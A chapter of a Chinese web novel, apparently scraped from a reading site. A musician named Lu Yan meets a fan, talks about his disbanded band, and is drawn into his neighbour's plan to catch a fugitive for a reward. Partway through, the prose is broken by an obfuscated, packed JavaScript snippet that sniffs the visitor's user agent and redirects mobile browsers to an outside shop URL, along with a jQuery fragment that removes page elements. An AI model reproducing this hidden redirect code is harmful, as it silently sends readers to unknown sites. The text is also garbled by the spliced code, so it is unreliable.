他冷笑一声:“谁先动的筷?” “没动,你哪只眼睛看到我动了。” 在两个人为了几块肉抢得不可开交的时候,店门又被推开。 俩年轻小伙手插口袋晃进来:“阿婆,来两碗面!” 这两人估计是刚从另一家网吧里上完网出来,嘴里还念叨着刚才那局游戏,其中一个边把塑料椅拖出来边说:“我去,游戏体验极差,那是什么队友,打的什么——” 那个“么”字语调急转直上,转成了“魔”。 下一秒,那人瞪圆了眼睛,魔半天,喊出四个字来:“魔王乐队!” 举着筷子在跟肖珩打架的魔王乐队主唱陆延:“……” 魔王乐队这个人送外号虽然听起来吊。 但这个名字一脱离特定环境,比如乐队演出,又或者防空洞彩排,跟其他乐队一起吹谁更牛逼,摆在现实生活里……是真的很中二。 他们乐队名气在地下乐队里算响亮的那一拨。 四年里卵足了劲做音乐,歌出得多,演出也经常开,只要接触地下摇滚这一块领域的人,基本没人不知道这支出道就唱“不断下坠也无所谓”的V团。 不过陆延还是没想到出来吃个饭能碰到粉丝。 还是名狂热男粉。 “我我我是您的粉丝!” “你们出的每张专辑我都很喜欢,去年三周年纪念演出我也有去现场,我在最前面!离您很近!往台上扔衣服的那个就是我!” “我真的很喜欢你们,你,大明,振哥和旭哥。” 陆延开始还有点尴尬,换了谁坐在面馆里突然被人激情表白都会无所适从,但那句“扔衣服”又很搞笑,然而“大明”、“旭哥”这两个词一出,陆延拿筷子的力道突然间松开。 “但是听说你们解散了,”男粉说到这语气也变得有些低落,“……你们之前驻唱的酒吧换了支乐队,之后又一直没有消息,大家都说魔王乐队解散了。” 要换成前段时间,陆延没准还能跟他说没解散。 等着吧,马上就回来了。 但等多久? 他自己也不知道。 他已经一个月没有站在台上唱过歌了。 最后男粉愣是问李阿婆要了根笔问能不能给他签个名。 陆延犹豫一会儿,在他衣服上签了个V字。 吃完饭,肖珩结账。 两个人往七区方向走。 “你还有粉丝?” 狂热男粉冲到他们桌的时候不光陆延被吓一跳,肖珩也很惊讶,他又说:“三周年演出……啧,还能开演唱会呢,几十个人的场子?” “三百。” 陆延说:“瞧不起谁?三百张门票秒空,那会儿老子在下城区简直叱咤风云——” 要说乐队往事,陆延能说个三天不带重复的。 陆延以为肖珩估计又要嘲他,但肖珩却递给他一根烟:“抽吗。” 陆延接过。 肖珩又问:“你们乐队,差的那两个人还没拉到?” 他之前就知道陆延玩乐队,也知道他乐队走了两个人。 但知道,和感受到完全不一样。 他头一次离陆延这个缺了两个人的“乐队”那么近。 “没找到合适的,之前不是在你学校看上一个吗,但人没那个意愿。”陆延想到那个黄T恤还是觉得十分可惜。 “……” 肖珩:“你还敢提学校?” 陆延:“怎么,你想翻旧账?” 陆延抽着烟,觉得他和肖珩两个人惨得真是不相上下。 他曾经叱咤下城区的乐队散了。 边上这位大少爷愣是混成黑网吧网管。 …… 不过陆延难受也就那么一会儿,他这个人向来习惯朝前看:“没事,找不到就接着找。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727123|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刚才聊的话题里提到学校,陆延又说:“你学校还有课,你不去上了?” 再往前走就是七区那堆引人注目的大型废墟场。 在一片缭绕的烟雾中,肖珩没说话。 - 陆延回屋洗完澡,听到伟哥在楼下喊他。 “延!” “你在家吗。”伟哥从借贷公司回来,他骑着摩托车,摩托车带着地上的风沙掀起一阵旋风,堪堪在楼底下刹住车。 陆延推开窗对伟哥说:“不喝酒。” 伟哥:“……” “谁跟你说要喝酒了,”伟哥喊,“你等我停个车,我有事跟你说,大事情!” 陆延完全想不到伟哥要跟他说的事是什么。 他只觉得楼里不太对劲。 平时大家下了班之后休息都来不及,今天整栋楼格外闹腾,楼道上来来回回到处都是脚步声。 陆延给伟哥开门时猜测:“拆除公司的人又来了?” 然而伟哥进门之后只有一句话,干脆利落直奔主题:“延弟,你愿意支持哥的梦想吗?” 陆延:“?” 伟哥拉过一张椅子坐下,用一种追溯往事的悲苦语气说:“你也知道,哥当年警校落榜,那是一个——” 陆延接过话:“那是一个阳光明媚的十八岁夏天。” 伟哥年轻的时候想考警校的事基本上全楼都知道。 然而实在不是这块料,惨遭落榜。 现在干借贷生意,用伟哥自己的话说就是:是在用另一种方式,维护社会的秩序与和平。 “对,”伟哥继续道,“走!我们现在就去好又多超市!” 这话转得太快,陆延理解不了:“去超市干什么?” “买橙汁那逃犯你看没看?” “平时没事要多关心关心新闻实时,逃犯刚在好又多超市买了两瓶橙汁!就在我们边上!” “……” 陆延:“哥,不管你想干什么,我精神上支持你,但是我觉得这事……”这事还是别蹚浑水了,犯不着。 陆延话没说完,伟哥打开手机,找出今天的最新新闻视频给他看:“延弟,你看看!” 这新闻视频就是陆延在网吧里看到的那个。 他正想把伟哥轰出去,目光落在手机屏幕上,他当时没把这新闻看完,新闻最后的结尾,女主持人庄重严肃地说:“——在此,警方发布紧急悬赏令,悬赏金额10万元,希望广大人民积极提供更多线索,助我们将王某缉拿归案。” 伟哥警察梦死灰复燃:“命运阻止得了我一次,阻止不了我第二次,人民需要我。” 陆延根本没有去听伟哥到底说了些什么。 他满脑子都是十万。 十万块。 一后面跟着五个零。 陆延本来把手搭在伟哥肩上打算推他出门,手劲突然一转,勾住了伟哥的脖子:“哥,我觉得人确实应该有梦想。” “哥你有什么计划没有?” 伟哥说:“我计划咱组个分队,名字我都已经取好了,就叫63分队,代表咱六号三单元。” 于是肖珩住进这栋楼的第一个月。 他的邻居敲门问他要不要一起匡扶正义。